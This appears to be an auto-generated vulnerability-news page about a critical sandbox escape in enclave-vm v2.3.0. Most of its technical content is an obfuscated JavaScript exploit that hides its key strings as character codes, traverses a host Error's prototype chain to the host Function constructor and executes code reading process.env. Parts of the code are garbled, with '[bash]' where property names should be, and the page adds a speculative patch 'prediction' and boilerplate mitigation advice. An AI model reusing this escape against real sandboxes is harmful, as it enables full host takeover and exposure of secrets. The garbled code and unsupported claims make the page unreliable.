enclave-vm, Sandbox Escape, CVE-2024-23331 (Critical)

Listen to this Post

The vulnerability in enclave-vm v2.3.0 allows sandboxed JavaScript code to escape isolation by triggering a host error, such as calling a non-existent tool. This exposes a host-side Error object to the sandbox. The Error object retains its prototype chain from the host Node.js realm. An attacker can traverse this chain using properties like proto and constructor. By accessing the host Function constructor through the Error constructor, arbitrary JavaScript code can be compiled and executed in the host context. This completely bypasses the sandbox, granting access to host resources like process.env, the filesystem, and network. The core security guarantee of isolating untrusted code is broken, enabling full host compromise.
Platform: enclave-vm
Version: v2.3.0
Vulnerability: Sandbox Escape
Severity: Critical
Date: 2024-01-15

Prediction: Patch 2024-02-01

What Undercode Say:

Analytics

npm list enclave-vm

node -e “console.log(require(‘enclave-vm/package.json’).version)”

const s = (…args) => String.fromCharCode(…args);

const kCon = s(99,111,110,115,116,114,117,99,116,111,114);

const kProto = s(95,95,112,114,111,116,111,95,95);

const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);

const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);

const kPtype = s(112,114,111,116,111,116,121,112,101);

try {

const ObjectProto = Object[bash];

const lookup = ObjectProto[bash];

const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;

try {

await callTool(‘THIS_TOOL_DOES_NOT_EXIST_XYZ’, {});

} catch (e) {

hostError = e;

}

const errProto = getProtoNative.call(hostError);

const ErrorCtor = errProto[bash];

const HostFunc = ErrorCtor[bash];

const exploitFn = HostFunc(kCode);

return exploitFn();

} catch (e) {

return e.message;

}

How Exploit:

Trigger host error.

Traverse prototype chain.

Access Function constructor.

Execute arbitrary code.

Protection from this CVE

Update enclave-vm version.

Disable vulnerable features.

Apply sandbox hardening.

Impact:

Full host access.

Data compromise.

System takeover.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top